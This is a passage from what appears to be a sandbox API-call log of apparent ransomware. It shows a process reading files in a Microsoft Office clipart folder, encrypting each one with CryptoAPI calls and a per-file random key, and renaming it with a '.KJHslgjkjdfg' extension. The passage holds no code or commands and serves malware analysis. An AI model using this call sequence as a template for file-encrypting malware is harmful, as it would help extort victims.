pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.445] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.445] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.445] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.445] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.445] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.445] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.445] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.446] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.446] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.446] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5474, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5474, lpOverlapped=0x0) returned 1 [0180.447] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5480, dwBufLen=0x5480 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5480) returned 1 [0180.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.447] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5480, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5480, lpOverlapped=0x0) returned 1 [0180.447] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.448] SetEndOfFile (hFile=0x114) returned 1 [0180.450] GetProcessHeap () returned 0x2a0000 [0180.450] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.450] GetProcessHeap () returned 0x2a0000 [0180.450] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.kjhslgjkjdfg")) returned 1 [0180.452] CloseHandle (hObject=0x114) returned 1 [0180.452] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1 [0180.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.453] GetProcessHeap () returned 0x2a0000 [0180.453] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.453] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.453] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.453] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.456] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.456] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.456] GetProcessHeap () returned 0x2a0000 [0180.456] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.456] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.457] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.457] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.457] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.457] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.457] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.457] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.457] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.457] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.457] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.457] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.457] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa488, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa488, lpOverlapped=0x0) returned 1 [0180.459] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa490, dwBufLen=0xa490 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa490) returned 1 [0180.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.459] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa490, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa490, lpOverlapped=0x0) returned 1 [0180.460] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.460] SetEndOfFile (hFile=0x114) returned 1 [0180.463] GetProcessHeap () returned 0x2a0000 [0180.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.463] GetProcessHeap () returned 0x2a0000 [0180.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.kjhslgjkjdfg")) returned 1 [0180.464] CloseHandle (hObject=0x114) returned 1 [0180.464] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1 [0180.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.465] GetProcessHeap () returned 0x2a0000 [0180.465] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.465] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.465] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.465] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.468] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.468] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.468] GetProcessHeap () returned 0x2a0000 [0180.468] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.468] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.468] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.468] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.468] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.469] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.469] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.469] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.469] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.469] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.469] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x60dc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x60dc, lpOverlapped=0x0) returned 1 [0180.470] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x60e0, dwBufLen=0x60e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x60e0) returned 1 [0180.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.471] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x60e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x60e0, lpOverlapped=0x0) returned 1 [0180.471] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.471] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x61b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.471] SetEndOfFile (hFile=0x114) returned 1 [0180.474] GetProcessHeap () returned 0x2a0000 [0180.474] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.474] GetProcessHeap () returned 0x2a0000 [0180.474] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.kjhslgjkjdfg")) returned 1 [0180.476] CloseHandle (hObject=0x114) returned 1 [0180.476] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1 [0180.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.477] GetProcessHeap () returned 0x2a0000 [0180.477] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.477] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.477] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0180.479] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.479] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.479] GetProcessHeap () returned 0x2a0000 [0180.479] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.479] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.479] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.479] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.480] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.480] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.480] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.480] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.480] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.480] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.480] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.480] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.480] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f46, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f46, lpOverlapped=0x0) returned 1 [0180.481] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f50, dwBufLen=0x1f50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f50) returned 1 [0180.481] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.481] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f50, lpOverlapped=0x0) returned 1 [0180.482] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.482] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.482] SetEndOfFile (hFile=0x114) returned 1 [0180.484] GetProcessHeap () returned 0x2a0000 [0180.484] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.484] GetProcessHeap () returned 0x2a0000 [0180.484] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.kjhslgjkjdfg")) returned 1 [0180.486] CloseHandle (hObject=0x114) returned 1 [0180.486] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1 [0180.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.488] GetProcessHeap () returned 0x2a0000 [0180.488] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.488] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.488] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.488] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0180.490] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.490] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.491] GetProcessHeap () returned 0x2a0000 [0180.491] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.491] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.491] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.491] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.491] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.491] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.491] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.491] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.491] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 